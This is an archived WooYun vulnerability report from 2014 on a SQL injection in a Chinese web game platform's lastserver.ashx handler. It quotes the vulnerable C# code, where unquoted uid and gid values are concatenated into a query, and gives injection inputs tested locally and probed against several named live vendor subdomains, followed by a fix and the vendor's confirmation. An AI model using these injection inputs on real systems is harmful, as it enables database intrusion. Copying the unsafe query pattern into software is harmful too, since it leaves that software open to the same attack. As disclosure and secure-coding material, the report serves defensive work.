当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2014-062982

漏洞标题:信游科技页游平台程序通用型SQL注入#3

相关厂商:52xinyou.cn

漏洞作者: what_news

提交时间:2014-06-05 11:17

修复时间:2014-09-03 11:18

公开时间:2014-09-03 11:18

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-06-05: 细节已通知厂商并且等待厂商处理中
2014-06-05: 厂商已经确认,细节仅向厂商公开
2014-06-08: 细节向第三方安全合作伙伴开放
2014-07-30: 细节向核心白帽子及相关领域专家公开
2014-08-09: 细节向普通白帽子公开
2014-08-19: 细节向实习白帽子公开
2014-09-03: 细节向公众公开

简要描述:

防御函数过滤不严 可绕过

详细说明:

漏洞页面

api/remote/lastserver.ashx


源码如下

<%@ WebHandler Language="C#" Class="com.xykj.remote.lastServer" %>
using System.Web;
using com.xykj.common;
using com.xykj.business;
using System.Text;
using System.Globalization;
namespace com.xykj.remote
{
/// <summary>
/// 最后登录的服务器
/// </summary>
public class lastServer : IHttpHandler
{
public void ProcessRequest(HttpContext context)
{
context.Response.HeaderEncoding = System.Text.Encoding.GetEncoding(RuntimeConstants.APP_CHARSET);
context.Response.ContentType = "text/html";
var para = sdk.Form(context.Request.Params); //先看下这个防注入函数
var callback = para["callback"];
var uid = para["uid"];
var gid = para["gid"];
var mygame = new com.xykj.business.View.Games.Game().LastServer(uid, gid); //这个要跟进
sev t = new sev();
if (mygame != null)
{
var servr = new com.xykj.business.View.Games.Server().GetServer((int)mygame.ServerId);
t = new sev()
{
Name = servr.Name,
GameId = mygame.GameId,
ServerId = mygame.ServerId,
UserId = mygame.UserId,
ID = mygame.ID,
LastJoin = mygame.LastJoin,
//Image = servr.Img1
};
}
if (string.IsNullOrEmpty(callback))
{
context.Response.Write(XY.JToJson(t));
}
else
{
context.Response.Write(callback + "(" + XY.JToJson(t) + ")");
}
}
public bool IsReusable { get { return false; } }
}
public class sev : com.xykj.model.xy_mygame
{
public string Name { get; set; }
//public string Image { get; set; }
}
}


public static NameValueCollection Form(NameValueCollection param)
{
NameValueCollection values = new NameValueCollection();
string str = "";
foreach (string str2 in param.AllKeys)
{
str = "";
str = param[str2].Replace("'", "&#39;").Replace("\"", "&quot;").Replace("<", "&lt;").Replace(">", "&gt;").Trim();
values.Add(str2, str);
} //对单引号进行转义了 如果值是int类型根本就不需要单引号
return values;
}


public xy_mygame LastServer(string uid, string gid)
{
IList<xy_mygame> list = this.GetDatas2<xy_mygame>("select top 1 * from xy_mygame where [UserId]=" + uid + " and [GameId]=" + gid + " order by id desc "); uid 和gid没有单引号保护 故存在注入 上面也没有对参数进行int强制性转换
if (list.Count > 0)
{
return list[0];
}
return null;
}

漏洞证明:

本地测试
访问

http://192.168.1.108/api/remote/lastserver.ashx


提交

uid=1 and (select @@version)=1--


532.png


官网有狗拦截 很难测试 但是可以判断是存在注入的
比如

http://xy002.52xinyou.cn/api/remote/lastserver.ashx


我只提交

uid=1


程序会报错 因为 在构造sql语句的时候

select top 1 * from xy_mygame where [UserId]=" + uid + " and [GameId]=" + gid + " order by id desc


gid没有值所以会报错

533.png


当我提交

uid=1--

由于uid没有单引号包围起来 --就注释掉了后面的sql语句变成

select top 1 * from xy_mygame where [UserId]=1--


所以程序正常显示

534.png


通过这细微的细节 是可以发现这套系统存在同样的注入 只是有安全狗拦截 做不了进深一步的验证 但是漏洞是存在的
可以依次测试

http://xy001.52xinyou.cn/api/remote/lastserver.ashx


http://xy003.52xinyou.cn/api/remote/lastserver.ashx


http://xy006.52xinyou.cn/api/remote/lastserver.ashx


会发现是同样的结果 存在共同的注入
本人菜鸟不会过安全狗。。。。
从代码可以看出存在注入 本地验证了 官网细微的细节也可知道是存在注入的

修复方案:

对gid和uid进行强制转换

版权声明:转载请注明来源 what_news@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2014-06-05 14:58

厂商回复:

非常感激 已安排修复

最新状态:

暂无